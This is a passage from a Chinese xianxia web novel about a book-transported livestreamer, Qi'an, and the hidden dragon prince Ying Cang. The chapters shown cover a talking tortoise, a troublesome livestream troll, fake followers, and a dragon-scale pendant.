“凌阳。”来财一点也没有偷看被发现的尴尬,爽快地和应苍打着招呼,“你小子居然还认得老夫。”
凌阳。
已经好久没人叫过他这个名字了。
“凌阳早就死了。”应苍冷漠地说道,“我是应苍。你怎么在这里?”
“喏。”来财后脚微一用力,飞上应苍的肩头。
用爪子指指床上被裹成蝉蛹一般的祈安:“还不是为了救她。”
“救祈安?”
“不然老夫冬眠的好好的出来干什么。”
来财直接一个飞踢,在应苍的脸上留下了足迹,“那天我看这女娃掉进湖里差点被那个老蛇妖吃了。本来我不准备多管闲事的,结果你小子也来了。老夫怕你死在湖里,就用沧溟珠把她护住了。当年救凌天成,他死了之后又救你这个臭小子,还救了你媳妇,老子真是欠了你们苍龙族。”
应苍听到凌天成三个字后,脸色突变,喉头滚动。
原本还在他肩头翻着肚皮休息的来财,看到他这副模样,知道自己说错了话,连忙翻身坐起:“老夫冬眠久了说话没轻没重,你别往心里去啊。”
“嗯,”应苍嘴上应着,但面上神色没有丝毫的变化。脑海里一遍遍地回放着自己父亲当年被看下脑袋的瞬间。
龙头直直地滚到了他的脚下,就在那分神的瞬间,缚灵网从天而降。
“喂,凌阳,喂。回神!”
“我叫应苍。”
“好好好应苍应苍,好了吧。”来财没有再与他争论,“我现在也有名字了,以后你就叫我来财。活了快一万年了,第一次有名字,还是个女娃娃给我起的。当年我让应书给我取个名字,她死活不肯,非要叫我乌龟,你说说她... ...”
来财越说到后面,声音越小,应苍的脸色还不及先前。
来财:... ...怎么又提了他娘的名字啊。
房间里是死一般的寂静,应苍一个人立在正中央,来财不敢动,只能在他肩头趴着。
良久之后,来财弱弱地说道:“应苍啊,你也不要太伤心,没准你娘还活着。”
“你说什么?”
“哎哎哎你先把我放下来。”来财被应苍捏在了手里,也不知道他使了多大的劲儿,自己的龟壳一阵阵地疼,“我这次是提前苏醒,身体功力都还在恢复,吃不消你这么折腾啊——咳咳、”
应苍把来财放在自己的手心:“你刚刚的话到底是什么意思。”
“你不是被关进了无光谭吗?我去那里面找过你一次,但是封印太强大了,根本接近不了,我在里面呆了三天之后就出来了。”
“刚出来就听别人传应书也被杀害了,还说的头头是道。要不是我能感知到她的气息,我也差点信了呢。”
应苍眸光一闪:“你能感知到娘的气息?”
“对,我敢肯定除了你爹,没人比我更了解应书的气息了,你都不见得比得过我。”来财得意地炫耀道,“我就沿着那气息一路找,就来到这里了。”
“不过他丫的,要是当年应书把遁迹符给我,我也不用爬一百年啊。我不能用法力,担心被那青霄宗里的王八蛋发现,一直爬过来的。一百年啊,整整一百年啊!”
“你是说,这里存着我娘的气息?”
来财非常确信:“我敢肯定,就在这里。”
“那你在这里也有九百多年了,就没发现我娘的踪迹吗?”
“这个...嘿嘿,”来财不好意思的挠挠头,“我一路爬来消耗了太多的精力,刚来没多久就冬眠了,前天才醒来,你知道的。”
见应苍的脸色又变了,来财赶忙说:“不过我昨天已经感受过了,你娘还在这里。”
“真的?”应苍浑身血液沸腾,体内的灵力跃跃欲试。
“千真万确。不过感觉位置好像和千年前的一模一样,都没怎么变过,不会被关在哪里吧?”
位置没动过。
娘的遁迹符。
应苍迅速地把碎片的信息在脑海里过了一遍,脑海里浮出了一个人的面容。
是清虚。
清虚之前一直对他很特殊,一定知道些什么,而且还与自己母亲相关。难道说,关着母亲的人就是他?
想到这一层,应苍心里就生出了胆寒。如果关着母亲的人是清虚,那他一直以来对自己这么好是为了什么呢?还是他有更大的阴谋?
应苍始终觉得自己漏了一环,和清虚相处的画面如同走马灯一样在眼前晃过,刺目的光随着当年那些血腥的场面一同向
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他袭来。
最终他体力不支,直直地倒在了地上。
“哎哎哎——”来财一并倒在了地上,“醒醒,醒醒。”
可地上的人始终一动不动。
... ...
“早知道你会晕过去,我就不出来了,他爷爷的。”
*
祈安醒来的时候,发现手脚动弹不得。
她看着自己的造型,半天都没反应过来:我晚上睡觉这么别致吗?
费了好大的劲儿才从被子里拔出手脚。
“坏了坏了,来财不会被闷死了吧。”
昨天睡觉前把它随手扔在了衣兜里,这早上也没听到它的声音,恐怕凶多吉少了。
可祈安把被子翻了个底朝天,也没看到来财的身影:“不是,我龟呢?”
她腾地一下拉开自己的门,结果看到了一副奇异的景象。
一个是蹲在自己屋子东南角的宿清风,双眼无神,眼底一片乌青,一看就是昨晚熬了个大夜。
还有一个是趴在自己门口的来财,眼睛虽小,但祈安也看到了它眼里的红血丝,也是一副没睡好的样子。
“来财,”祈安先把地上的龟捧起来,“你怎么这副模样?”
来财连笑的力气都没有,蔫吧吧地说:“送人去了。”
“送人?谁啊?”
祈安没有等到来财的回复,只收获了一个龟壳。
昨晚他为了保全应苍的颜面,不给这落霞宫的人留下夜闯姑娘房间的风言风语,硬生生地用嘴衔着他的衣服,一步、一步、一步地拖回了他的房间。
想回到祈安那里的时候发现自己连开门的力气都没有了,终于熬到了祈安起床,它才放心地昏睡过去。
“来财?财财?”祈安看着手心里一动不动的乌龟,无奈地叹口气,“送人这么累吗?”
把它轻柔地放回桌上后,才想起来自己门外好像还有个人。
“你在这干嘛呢?”
祈安问的是宿清风。一大早跑到她门口是想干什么?
可宿清风始终一言不发,眼睛却一直往祈安房里瞧。
“睡一觉睡傻了?”祈安觉得宿清风的神色不太对劲,师父把他交给自己,还是要关心一下他的身心健康的,“你不舒服吗?”
“你——”宿清风脸憋得通红,只说了个你字后,后面半天没吐出一个字。
“我怎么了?”
宿清风本来想问“你房里的人走了吗?”,终究还是觉得太冒犯祈安了没有开口。
“没什么。”
宿清风撇过脸,没有再理会祈安。嘟起腮帮子,一副气鼓鼓的样子。
祈安顿觉失笑,这不活脱脱的小孩子闹脾气吗?她温柔地问道:“我一会儿直播,一起吗?”
“真的吗?”
宿清风的眼睛马上亮起来,也不管祈安房里到底有没有人,满脑子都是:姐姐邀请我一起直播耶。
“嗯。”
“那走吧。”
宿清风兴冲冲地拉着祈安站起来,正准备往外走,就遇上了推门出来的应苍。
18.合欢丸
应苍神色恹恹,满脸疲累。他昨晚虽然晕了过去,但意识却是清醒的,他知道来财把自己一路拖回房间,来财走的时候从门缝里透进了一丝亮光,大约已经在清晨了。直到有天光大亮,身子才能勉强移动。
他立刻出门,想再找来财问问自己母亲的消息,刚出来就碰上了祈安和宿清风。
昨晚的亲吻浮了上来,应苍不自在地移开了目光。
“你脸色怎么这么差?”
祈安看着应苍衣服上沾着泥土,嘴唇苍白,好心问道。
“没事,昨晚没睡好。你们要出去?”
宿清风抢了先:“是呀,祈安姐姐要带我出去。”
少年满脸的炫耀,往前迈了两步,直接将祈安挡在了身后,直勾勾地看着应苍。
应苍从宿清风的脸上只看得到两个字:挑衅。
他眼帘低垂,正思忖着如何回应既不显得刻意,又能让宿清风吃瘪,祈安已经先他一步出手了。
她不知从何处掏出一把扇子,直直地往宿清风的肩头劈去。
宿清风从小习武,对于突然袭击,早形成了肢体记忆。
他身子往右一歪,底盘放低,躲过祈安的一击后,双脚蹬地直起身子,伸手抓住了祈安还未收回的扇子,往自己身前一拉。
动作干练利落,祈安反应不及,身子不由自主地冲向了宿清风。
“啊——”
“小心。”
应苍看到两个人即将贴在一起的身体,没有过多的思考,解下腰间那墨色的腰带,用灵力扔出,缠在了祈安的胳膊上。右手食指同时弹出一颗玉珠,精准击中了腕间。
祈安手一软,松开扇子,应苍将腰带在自己手上也绕了几圈,轻轻一拉。祈安只觉得腰间一股巨大的力量,将她身子直接扭转方向,又飞向了应苍。
“哎哎哎——”
眼看就要撞上应苍,祈安只能闭了眼睛:完了完了完了,我要是把他伤口撞裂了可咋整。
当初遇见应苍时的血腥味,又一次浮在鼻尖。
想象中的撞击没有到来,祈安只闻了一股淡淡的药草香,身前仿佛出现了一个屏障般,挡住了她前进的路线,稳稳地停在了离应苍五步开外的地方。
睁开眼时,刚好对上应苍看过来的视线。黑眸深邃,眉眼分明。风无意地经过掀开了额角的几丝头发,祈安有一瞬的失神:
这个人,好像也没有我想象中的那么冷血嘛。
“姐姐!”宿清风打断了她的思绪,像只猎狗一样冲过来,“你没事吧。”
看着跑来的人,祈安又生出了给他一掌的冲动,刚刚要不是他,自己也不会像个陀螺一样四处乱窜。
“呵呵,”祈安似笑非笑,“托你的福,我一切都好。下次不要再叫我姐姐了,叫!师!姐!”
她一面冷冰冰的回复着,一面转着圈把腰上的带子松开,收好之后递给应苍,柔声说道:“谢谢你呀。”
应苍没有答话,点头算是回应了。
“师姐,你怎么对他那么温柔?”宿清风在祈安身后可怜巴巴地说着。
祈安心里有气,故意说道:“我呀,对道侣一向这么温柔。”
而后不理会宿清风,一个人走了,没留意到身后应苍那双晦暗不明的眸子。
*
祈安的心情并不算好。昨天就因为宿清风导致自己忘记直播扣了寿元,今早也被他搅得一团乱,抵达湖边的她,冷着脸开始了直播。
这一阶段的任务是要粉丝达到100人,现在连10人都不到,祈安隐隐有些着急,所以今天早早就开播了。
没曾想自己刚开播,就有人来触霉头。
【张大元:哟这小美妞又来直播了?】
【张大元:小美妞多大啦?】
【张大元:有夫君了吗?】
祈安皱着眉头,哪里来的如此恶臭之人,嘴里没一句正经话。现在共有十几个在线观众,祈安装作没看到那些话,热情地打着招呼:
“直播间里的宝宝们大家好呀,如果有喜欢主包的可以关注我的直播间,也可以将直播间分享给你身边的人哦,助力主包早日突破100粉丝!”
“主包承诺,火了之后,人手一张亲签和一瓶主包亲手炼制的药丸!”
“球球大家啦!十亿在这里给大家鞠躬啦!”
祈安手舞足蹈地介绍个不停,直播间里却始终无人回应,依旧还是那个张大元在那里喋喋不休。
【你求求哥,哥给你叫几个人过来。】
【叫得好听一点,叫一声我给你拉一个人】
【我这里有十好几个,都是我的小弟,全都能来】
......
看着那不停刷新的弹幕消息,满屏的张大元惹得祈安怒气值飙升,看到原本还是两位数的在线人数已经降到只有三个人了。
不用想,一定是他的发言让别人看得不爽跑掉了。
祈安平静了几秒钟,她冷冷地问道:“你的意思是我说点好话,你能给我拉来粉丝?”
【没错!】
【想好说什么了吗?】
“嗯,想好了。”祈安深吸口气,故意将声音放软,一双亮晶晶的眼睛盯着玄光鉴瞧。“不过大元哥哥,你可不可以先让你的朋友们进来呀,这样子我夸你,他们也能听到嘛~”
张大元立马有了回应:
【好好好,你等等啊,我让我那帮小弟都来。】
张大元说话算话,这直播间里确实一瞬间来了十多个人。
祈安看着右上角不断增长的数字,转转脖子,冷声道:“大元哥哥,你可听好了。”
“张大元,是哪户人家的绳子没捆好把你给放出来了呀?这么没见过世面在别人的地盘上乱叫,我都怕你主人知道了把你打一顿哟。你刚刚是说这些进来的这些都是你的小弟吧,还说什么来着?让我想想啊——”
“我想起来了!”祈安一脸甜笑,“你刚说,他们又丑又蠢还穷,是你发善心,才收了他们当小弟。如果不是你啊,他们连饭都吃不起。”
祈安随手点开观众列表,看到几个眼生的名字,估计是张大元叫来的人,又继续阴阳道:“你还说啊,刘春三脚臭,陈阿勇口臭,每次和你说话你都得捂着鼻子。”
张大元听到祈安满口胡言后,立马急了,在弹幕区一直发着:
【你他娘的怎么说话呢】
【老子才没说过这些话】
【你故意害老子吧,你等着,老子早晚弄死你】
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祈安看着这些污言秽语,依旧视而不见。眼眸一转,随意选了个名字,心里暗道:凌二兄,不好意思了。
思绪落下,祈安朱唇微启,面颊上浮起淡淡的红晕:“还有凌二公子,刚刚大元哥哥说、说您......不能人道,若是想要行那档子事,需要...”
用袖子遮住半张脸,羞赧道:“需要服用合欢丸。”
这句话说完,直播间里顿时清净了许多。祈安一看,张大元那群人果然不在了,她无所谓地耸耸肩:“你不仁休怪我不义咯。”
殊不知,在云水间的应苍,听到那句不能人道后,脸色顿变。
这凌二,正是他的化名。在祈安无差别的扫射中,应苍也被误伤了。
弹幕安静了一会儿后,突然又蹦出了一条新的消息。
【凌二:我不能人道一事,姑娘是怎么知道的?】
奇怪?祈安点开观众列表,刚刚张大元的那帮人应该都退出去了,这凌二怎么还在?难道他真的不能人道?坏了,这下戳别人的痛处了。
祈安打算让张大元背锅到底,气定神闲地说道:“是你那劳什子大哥说的,你找他算账去。”
【凌二:哦?】
哦?这是什么回答?
祈安:“哦!”
罢了她又好心补了一句:“不过凌二公子你也不要伤心,这种病啊,能治,真的!”
祈安看看这直播间里没什么人,干脆就着这一话题展开来:“首先你要弄清楚自己是什么原因,如果是心理原因,那就好好和你的道侣沟通,不用藏着掖着,把这事告诉她,心上的包袱卸下来后,没准儿就好了。如果真的是生理问题,你要是会炼丹,那你就自己炼。若是不会炼丹,你就拿着我的方子,让别人帮你去炼一下。同房之前服用一颗,可以抵上三个时辰。”
“这药方你可记好了:合欢花蕊七两,玄冰露半盏,媚骨藤五寸——”
祈安席地而坐,真的讲起了合欢丸的炼制方子。完全没留意自己直播间里的人数激增,右上角的在线人数,从个位数直逼三位数。与此同时,粉丝数也在疯涨。
这些人都是宿清风叫来的。
宿清风是家里的小少爷,不光不缺钱,人手也不缺。一听到祈安说需要粉丝关注,忙发给了自己的手下,要他招呼护卫们进直播间来关注祈安。特地叮嘱了他们,要小心行事,别让宿厉和风无忧察觉了。
他手下的人行动力极高,不一会儿就全都进了直播间待命。自家小主不说话,他们也不敢轻举妄动,生生地在直播间里听祈安说了半天合欢丸的配置方法。
此刻,远在江州的宿家院子里,几个穿着铠甲的护卫正蹲在墙角,捧着玄光鉴在那里议论纷纷:
“少爷怎么让我们关注这个?”
“你们说,是不是少爷想做合欢丸?”
“难道...少爷他...”
“不会吧,少爷他年纪轻轻就、就...”
院子里没人敢再说话了。
而另一侧的祈安,完全沉浸在合欢丸的配比中无法自拔。
直到她耳朵里传来了那道系统音:
【宿主您好,恭喜您完成粉丝数满一百的任务,已为您解锁:小黄车功能。】
19.僵尸粉
祈安原本还微眯着的眼睛,一瞬间放大。
不是,系统出Bug了?怎么就完成任务了?
她也顾不上继续讲什么合欢丸的炼制方法,匆忙点开自己的粉丝列表。
反复地看了好几遍,才相信自己确实有116个粉丝了。
竟然真的完成任务了!
一时间祈安激动地说不出话来,心脏仿佛要从胸腔里跳出来一般。前期粉丝积累是最难的,在她看来,从零到一百远远要比从一百到一千难。
现在也算是完成了自己的“原始资本积累”。祈安深呼吸几口,让自己尽量保持平静。
在镜头看不到的地方,她理理头发,将衣服的褶皱扯平,让自己身体放松下来,才重新回到了直播间。
右上角显示此刻在线的有126人。
祈安正准备好好地和这些人打个招呼,突然察觉出有些不对劲。
在线126人,粉丝118人。难道说这些观众一进直播间,什么事都不干,就先关注她?
就算用脚想,也知道这不可能。
祈安琢磨着,不会是那个张大元搞得鬼吧,想来整她。她警惕地看着玄光鉴,试探性地打了个招呼:
“哈喽~”
弹幕空空,没人理会她。
宿家的护卫一向听话,少主只是让他们进这个直播间点个关注,没有吩咐他们说话,他们绝对不会多说一个字。
祈安看着这么多在线的人连一个回应都没有,便笃定这事有蹊跷。
“有人吗?”
“是真人吗?”
“不会是僵尸粉吧!”
沉默,还是沉默。
服了。
祈安觉得自己被人做局了,她怀疑系统给自己买了僵尸粉。
她一句招呼没打,直接下线。
等了一炷香的时间后,又重新上线。
这次上线后,实时在线人数变为了2,然后再也没动过。果然是僵尸粉!
“白高兴一场,”祈安撅着嘴点了退出,她的兴致被搅得一团乱。坐在草地上怎么都想不明白:
怎么修真界也可以买粉啊!
祈安点开自己的任务看板,截止到目前已经完成三个任务了,虽然第三个是送的。
粉丝达到百人后,系统自动给她解锁了小黄车功能,也就是说以后可以在这修仙界带货卖东西了。
“宿主只需将售卖的物品,挂在小黄车内并设置好卖价,若有观众支付成功,宿主则可获得80%的售价。”
80%?乖乖,这破系统居然要扣20%的手续费。
祈安继续往下看:“宿主所售出的物品和买家支付的货款,将通过交易通道实时传递。”
也就是说,卖出的东西,钱可以立即到自己手上。这个听起来还不错,也不用等买家确认收货,还算人性。
“小黄车只允许售卖三种产品:丹药、符纸、法器。为维持良好的营商环境,自动开启功德记录器。所售出的产品均被功德记录器标记,若买家在使用过程中对产品进行了夸赞,则功德增加。若买家觉得被骗,或是产品有质量问题,则功德减少。”
“功德在后续任务可用来兑换奖励,若功德为负,则同步扣除宿主的寿元。”
... ...
祈安明白了,这是一个明晃晃的市场监督管理员,果然收益与风险是并存的。产品卖的越多,获利越大,就越有可能被扣功德。
还是要诚信经营,薄利多销。宁可少赚,也不能让消费者觉得不划算!
小黄车的基本功能弄清楚后,祈安顺便看了下新手阶段的最后一个任务。
任务要求:完成一百单小黄车交易。
没有要求销售额,也没有要求粉丝量。
祈安一看到这个任务,嘴角一勾,心里也有了打算。这任务与之前几个相比,简直是小菜一碟。这系统一看就没有学习过二十一世纪的电商生存指南,不了解刷单这一方法。
只要让应苍和宿清风一人买五十单,这个任务就完成了。有了保底方案的祈安比前几次接到任务时放松了不少,她打算回去看看来财怎么样。
结果刚一转头,就看到宿清风守在她身后。
“吓我一跳。”
祈安被惊得一弹:“你什么时候过来的。”
宿清风一双眼睛亮亮的,满眼期许:“祈...师姐!”
祈安觉得宿清风的表现有些奇怪,警惕地问道:“你怎么了?”
宿清风本想告诉祈安自己所做的事,但看着她脸上冷冷的表情,就又咽了下去。好像现在不是一个好的时候,再等等吧。
他挠挠头:“没什么,我来看看你。”
又指了指祈安手上的玄光鉴:“师姐你不直播了吗?”
祈安点头:“先不了,来了好多僵尸粉,怪吓人的。”
“僵尸粉是什么?”
“就是不知道从哪冒出来的粉丝,也不活跃,就和僵尸一样。”
宿清风听完,总觉得这个剧情有点熟悉。
等等,那不就是他刚找来的人吗?
*
祈安回到房里后,逗弄了半天来财,他也没从龟壳里伸出来。把鱼昨天刚捉回的鱼取下来在他头边晃了半天,也依旧没动静。
“到底干什么去了累成这样。”
看着那三条新鲜的鱼,祈安有些馋了。
“这么小的龟,吃一条就可以了吧。”她留了一条放在屋里,拎着另外两条去了厨房。
还不到做饭的点,厨房里静悄悄的。柴被整齐地堆在灶台旁,一看就知道昨天怀津又出去捡了柴火。红砖铺的地上被打扫的一层不染,厨具都规矩地排列着。不得不说,蔺远和怀津虽然身体上有些残疾,但做事还是非常干净利落的。
平日里宗门的饭都是他们做的,今天祈安想给两个师兄一个惊喜,趁着这个时候给他们做一道鱼。
只是还没开始,就遇到了一个难题。
鱼有了,可她压根不会处理。
以前买鱼时老板都会把鱼鳞去掉,肚子里的内脏剖掉后,祈安再带回家。
祈安望着这两条完好无损的鱼陷入了沉思中。
要找个人来帮忙。
宗门里除了两个师兄,就剩下应苍和宿清风了。
在这两人中对比了一下,祈安还是决定选择应苍。毕竟在她看来宿清风是一个大户人家的公子哥,十指不沾阳春水,他应该帮不上什么忙。
祈安本来想给应苍发个消息,又怕他不能马上看到,
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干脆选择了视频通话。
她还是第一次用玄光鉴的这个功能。
按下按键后,空中突然出现了一层淡淡的光幕,中间竟是一个旋转的八卦图。等待片刻后,应苍的脸缓缓出现。
接通了!
“应苍!”
“怎么了?”
“你之前不是说想吃鱼吗?你看,这是什么。”
祈安晃晃自己手里的东西:“我昨天刚捞的,想今天做一下。可是我不太会处理鱼,你经常吃鱼应该会弄吧。你现在有事吗?没事的话就来厨房呗,咱们一起做顿鱼吃。”
应苍听到祈安的请求后,微微一怔,答应了她:“好,等下我就过去。”
“那我在这儿等你,拜拜!”
挂了视频通话的祈安暗自庆祝了一下:我就知道他一定会。
应苍实际并不会处理鱼。苍龙吃鱼虾时,基本都是活吞,鱼鳞虾壳对他们来说也是食物的一种。他站在原地想了想,决定先问问别人。
他问的人,就是凌渊。
这段时间他又和凌渊联络过几次,基本确定了他所处的环境很安全,无人监视。为了保险起见,他们没有在玄光鉴上聊过多的内容。
距离上一次联络,已经过去十天了。
凌渊万万没想到,自己在那破旧的茅草房里再次等到少主的信息时,居然是一句没头没尾的话:
【鱼怎么处理?】
凌渊警铃大作:少主这是怎么了?遇到什么事了吗?这是要我去处理一个人?
思考着怎么回复时,那边又过来一句:
【我要拿来做菜。】
凌渊这下可以肯定,少主一定是遇到了什么事情,毕竟自己跟了他那么久,就没见他做过什么菜。
他删删减减,斟酌着回答。应苍的消息又来了:
【快点】
凌渊也顾不上去思考应苍话里的意思了,把自己知道处理鱼的方法全都发了过去。
应苍看着那长长的一大段,一目十行地匆匆看完,把关键词记下,就去找祈安了。
凌渊那边在收到了一句“好的”之后,就再也没有新的消息传来。
应苍到厨房时,祈安正蹲在地上看着盆里的那两条鱼,一看到他进来,连忙小跑冲过去,笑颜绽开:“你来啦。”
鹅黄色的衣裙刚好与荔枝花的颜色相近,应苍那一霎那生出了荔枝开满厨房的错觉,有一瞬的愣神,回神的时候,祈安已经到了自己面前:“那我们开始吧?”
刚才凌渊发过来的内容里,说刮鳞和剖腹是两个最关键的步骤。
他先捞出一条鱼来,滑腻又湿凉的触感,让应苍感觉像是回到了儿时一般。
祈安蹲在一旁问道:“你是要给它去鳞吗?你等下我去找找有没有工具。”
“不用。”应苍叫住了祈安,从自己的衣袖里摸出了一个亮晶晶的片状物,“我有这个。”
祈安凑过去,那东西盾牌形状,通体成墨绿色,中间厚两边薄,边缘锐利,上面布满纹路,像是一条条蜿蜒曲折的山脉。
这是应苍来的路上,从自己身上取下来的。
祈安有些疑惑,这么一点大的东西,真的能刮鱼鳞吗?她问道:“这是什么啊。”
“龙鳞。”
20.龙鳞坠
龙鳞。
祈安意识一时间飞远。
很小的时候,周边的朋友都怕打雷,只有她不怕。在下雨前,她最喜欢踩着凳子趴在窗户口看一道道惊雷划破天空。
有天她照旧趴在窗口看天雷翻滚,在黑压压的乌云里看到了一条游动的生物。
“龙,妈妈是龙。”祈安大喊着,可始终没人回应,在她转头的瞬间,云层里的东西已经看不到了。
后来她四处和别人说自己看到了龙,却没人相信。
祈安一直长到现在,都坚信龙的存在。也不知是不是由于这个原因,她在看小说时,更喜欢看主角有人龙两种形态的故事。
她试探性地问道:“是真的龙鳞吗?就是龙身上的。”
“嗯。”
“我能摸摸吗?”
应苍把指间的鳞片递了过去。
祈安双手接过,龙鳞和她半个手掌差不多大。重量比她想象中的要大上一些,她用两根手指小心地捏起。
龙鳞质地坚硬,在阳光下边缘甚至可以透过光来。
“你喜欢?”
祈安这才发现,应苍蹲在旁边,手里还拿着鱼,鱼尾的水滴滴落在盆里。她不好意思地把龙鳞还了回去,点点头:“嗯,喜欢。”
“我还有龙鳞,下次送你。”
“不用不用。”祈安连连摆手,“龙鳞这么珍贵,你还是自己留着吧。”
她有些好奇应苍怎么会有龙鳞。按照原书的说法,这个世界本来的真龙数量就少,在那次旷世大战之后,除了被关在无光谭里的那条之外,龙基本上已经消失了。
听师父说应苍只有筑基修为,年纪看上去也不大,怎么手里会有千年前的东西呢?
尽管一旁的应苍声音没什么起伏,祈安还是听到了他语气里的不屑:
“珍贵吗?”
“珍贵呀。”祈安说,“不是说除了无光谭里的那条,已经没有龙了吗?我差点忘了,那条前段时间还逃了出来。”
应苍低着头,没有作声。他把注意力全都放在了鱼上,龙鳞从鱼身上划过,鱼鳞四下纷飞。
祈安傻眼,不光是鳞片下来了,连带着鱼皮也一起被刮了下来。
这这龙鳞,这么锋利的吗?
就几下的工夫,鱼完全就变了个样子。应苍把鱼肚子翻起,将龙鳞从鱼头处径直划向鱼尾。
鱼肚上的切口整齐,应苍的手稳当得像是外科医生。
等肚子完全破开后,应苍徒手手将内脏全都掏了出来。
本来苍白的手瞬间染上了鲜血,祈安突然觉得应苍的动作充满病态感,夹杂着血腥的味道,一阵干呕涌了上来。
祈安捂着嘴跑出去,她担心再留下去,会直接吐在厨房。
应苍只是随意地看了一眼祈安的背影,手下动作没停,将内脏扔在一旁后,又捞起了另外的那条鱼。
一样的方式,一样的流程,也就几分钟的时间,两条鱼就全都被他处理干净了。
他将盆里的水倒进了污水桶,又把内脏全都清理进去,拿起瓢来把鱼从头到尾清洗干净,确保上面看不出一点血渍后,才去到屋外叫祈安进来。
祈安刚刚吐完,眼底发红,就看到应苍朝他走来。
男人看上去气压比平时要低上不少,一袭白衣,身上像披了层未融化的雪,步履缓慢:“鱼都处理好了。”
祈安只觉得应苍的眼眸冰冷,等他走近时才发现嘴角边溅了一滴血。她指指嘴角,提醒应苍擦掉。
应苍用拇指轻轻一揩,看到是点血迹后,将手指放在唇边。
伸出舌头,将那滴血舔掉了。
*
一直到午饭结束,祈安都忘不了这一幕。
她脑海里就像倒带一般,反复播放着应苍舔掉血的画面。只要一闭上眼,那动作就清晰地浮现上来。
“啊!”
她一个鲤鱼打挺从床上翻身坐起:“好变态啊!”
那可是生的鱼血,怎么有人可以面不改色地舔掉!!!
“来财,你说说那个应苍,不会是个什么妖怪吧。”
趴在桌上的小乌龟一直没有动静,房间里安静得可怕,角落里的桌子总会时不时地发出一阵响声,像是木头从内到外的崩坏了一般。
咚!
一阵短促的敲门声忽然响起。
祈安汗毛直立,一点点地挪到门口。
咚咚咚!
她壮着胆子问道:“哪位?”
“我。”
是应苍的声音。
祈安一听是他在门外,更加紧张,将门拉开一道缝,自己整个身子藏在门后面:“怎么了?”
“这个给你。”
一个吊坠突然出现在了祈安眼前。
墨绿色的挂绳,下面吊着的是一个形状规则的龙鳞。
应苍拉着绳子的顶部,龙鳞在祈安眼前晃晃悠悠的。
祈安有些惊讶,没想到他刚才不只是说说,竟然真的送了他一个龙鳞。
她确实很喜欢龙鳞,尤其应苍带来的这一片品相和形状都比上一个要好上不少。她眼巴巴地看着,没有拒绝,也没有接过来。
“在犹豫什么?”
祈安没有直接回答应苍的问题,试探性地问了句:“你这龙鳞哪里来的啊。”
“朋友送的。”
“朋友?”
“偶然认识的一位朋友。”应苍悠悠说道,“当年抓凌阳时,他也在现场。那恶龙被捆得不能动弹,不少龙鳞都脱落了,他趁混乱从地上捡的,在那之后就一直带在身上。后面总是做梦梦到那条龙,遇到我之后就全送给我了。”
祈安认真地听着应苍讲的内容。
原书里确实写道,凌阳当初是被缚灵网捉住的。要是这么说的话,鳞片脱落也确实可能会发生。
应苍见祈安好半天没有说话,就把龙鳞和绳子一同攥在手里,他顿了顿:“你若是不喜欢,我就扔了。”
“等下。”在应苍打算转身时,祈安从门后钻了出来,拉住他,“我没有不喜欢。”
她掰开应苍的手指,从他的手心里把龙鳞取了出来。打算等自己完成任务回到现实社会后,拿着这个和别人证明这世上真的有龙。
也算是给自己留了些纪念。
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祈安把龙鳞挂在脖子上,鳞片直接贴在了她的肌肤上。
苍龙族的鳞片在离体后的百年内,本体都会和这鳞片共感。所以在刚取下这鳞片的位置处,应苍感受到了丝丝的温暖。
“谢谢你。”
少女甜丝丝的声音响起,将应苍心头的些许阴霾吹散了些,他的龙尾又开始蠢蠢欲动。
“没关系,反正这鳞片放在我这里也没什么用,你喜欢拿去就好。不过这龙鳞的出处比较特殊,你不要主动与他人提起,不然恐怕会招来灾祸。”
祈安听应苍这么说,四下看看,确定周边没人之后才敢继续说话:“我知道,我一定会保密的。不过有个事我想问问你——”
她声音又放低了一些:“当年凌阳是真的勾结了邪修吗?”
看书的时候祈安一直非常喜欢凌阳这条人物线,她觉得凌阳就是她心目中少年将军应有的样子。武力高强,爱憎分明。
明明高光了整本书,甚至有时候还会抢了主角的风头,结果最后十章把所有的罪名都安在了他身上,从意气风发的苍龙族少主直接变为了阶下囚。
直到穿越到这书里了,也依旧为他感到遗憾和不甘。
好不容易遇到一个主动提到凌阳的人,祈安还是想再确认一下,哪怕这个不会给凌阳的现状带来任何的改变。
应苍有些意外,面前的这个人竟然会问到自己过去的事情。
“可能吧。”
若是在千年前,应苍只要是听到别人对他有一点的怀疑,哪怕断臂剖心,他也会自证清白。可惜这时候的他,早已不会再去在意自己在他人心中的形象。
勾结又怎样,不勾结又如何。
人都只愿相信他们相信的事情而已。
如今换了姓名,一是为了躲避霍乱,二也是为了和过去的自己说再见。
“好吧。”祈安听到应苍模棱两可的回答,也没多想,只当是他年纪不大,也不是当年那事的亲历者,自然也说不出什么来,只是遗憾地感叹了句:
“好可惜呀。”
“可惜什么?”
“可惜凌阳那么厉害的一个人,在谭底被困了那么久。”话说完后,祈安不好意思地笑了,“你会不会觉得我很奇怪,居然帮一个坏人说话。”
祈安的脸上确实挂着遗憾,应苍可以清晰地感知到。
他忽略了坏人两个字,注意力全都放在了“帮他说话”上。应苍踽踽独行太久了,突然冒出一个好像并不那么讨厌自己的人,一时冲动地想将祈安归为自己的同类。
可一看到祈安那张不谙世事的脸,很明显与自己的阴毒黑暗截然不同。
他惨然一笑:“不会,我知道你是好人。”
祈安被这低沉的氛围弄得有些不自在,她摸摸自己胸前的吊坠,直到感觉坚硬的鳞片触碰到肌肤时,才又集中了注意力。
她摒弃掉那丝不自然,故作轻松地拍了下应苍的胳膊:“瞧你说的,我们都是好人。”
应苍可能是因为没有父母,所以才性格怪怪的。看来,以后要多和他聊聊天。
祈安盯着应苍,心里琢磨着。
21.送果子
易为春回来了。
和他一起回来的还有落霞宫的老三、老五和老六。
宿清风加入落霞宫的消息,清虚并没有通知他们,以至于四个人回来的时候,刚好撞见坐在宫门口生闷气的宿清风。
少年看到四个人直直地往落霞宫走来,下意识地握住了身后的弓箭。
“你们去哪儿?”
宿清风语气生硬,眼里寒光乍现。
走在最前面的宁撼城看到有个陌生人在自家宗门口出言不逊,气就不打一处来。松开颈间的扣子,叉着腿大步流星地就往宿清风那里走去:
“哪来的毛头小子。”
“你叫谁毛头小子呢,小爷我有名字。”
“奶奶的,你还挺横!怎么,想干一架?”
宁撼城迫不及待地撸起了自己的袖子,被后面的易为春拦下:“撼城。”
“大师兄,”宁撼城一张肉脸上杂草丛生,五官像是硬生生从胡须中挤出来一般,他声音粗犷,嗓门又大,离得稍微近一点耳膜都会被震得生疼。
“这个不知道从哪冒出来的臭小子,挡在咱们家门口,你不要拦着俺,俺非要去揍他一顿,正好好久没打架了。”
“等等,这位壮汉。”宿清风听着话锋有些不对,收起了自己对抗姿态,“你说,这是你家?”
“废话,难不成是你家?”
宿清风暗道不妙:这帮人,好像是自己外出游历的师兄们。
